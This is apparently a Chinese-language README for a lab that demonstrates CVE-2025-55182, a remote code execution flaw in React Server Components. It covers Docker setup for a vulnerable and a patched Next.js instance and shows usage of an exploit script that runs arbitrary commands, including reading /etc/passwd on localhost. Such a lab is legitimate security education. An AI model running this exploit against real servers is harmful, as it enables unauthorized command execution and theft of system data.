# 1. 克隆
git clone https://github.com/Jeanback1/react-rsc-cve-2025-55182-lab.git
cd react-rsc-cve-2025-55182-lab

# 2. 启动实验环境（漏洞实例 + 补丁实例）
docker compose up -d

# 等待约 2 分钟，直到两个容器构建并启动完成。

# 3. 攻击漏洞实例
python exploit/exploit.py http://localhost:3011 id

# 4. 对补丁实例尝试相同攻击 — 失败
python exploit/exploit.py http://localhost:3012 id

                  docker compose
                 ┌────────────────────────────────┐
                 │                                │
   攻击者 ────▶│  :3011 → rsc-lab-vulnerable    │  React 19.2.0
                 │           (Server Action)       │  ← 可利用
                 │                                │
                 │  :3012 → rsc-lab-patched        │  React 19.2.1
                 │           (no Server Action)    │  ← 已修补
                 └────────────────────────────────┘

├── docker-compose.yml        # 实验编排
├── README.md                 # 本文件
├── LICENSE
│
├── vulnerable/               # 存在漏洞的 Next.js 应用
│   ├── Dockerfile
│   ├── package.json          # [email protected], [email protected]
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx          # 服务器组件 + 服务器操作
│       └── actions.ts        # 'use server' — 攻击面
│
├── patched/                  # 已修补的 Next.js 应用
│   ├── Dockerfile
│   ├── package.json          # [email protected], [email protected]
│   └── app/
│       ├── layout.tsx
│       └── page.tsx          # 仅服务器组件（无服务器操作）
│
├── exploit/
│   ├── exploit.py            # 教育用途 RCE 漏洞利用（注释详尽）
│   ├── requirements.txt
│   └── pyproject.toml
│
└── docs/
    └── CVE-2025-55182.md     # 完整技术分析

# 单条命令执行
python exploit/exploit.py <目标> <命令>

# 示例
python exploit/exploit.py http://localhost:3011 id
python exploit/exploit.py http://localhost:3011 "cat /etc/passwd"
python exploit/exploit.py http://localhost:3011 "ls -la /app"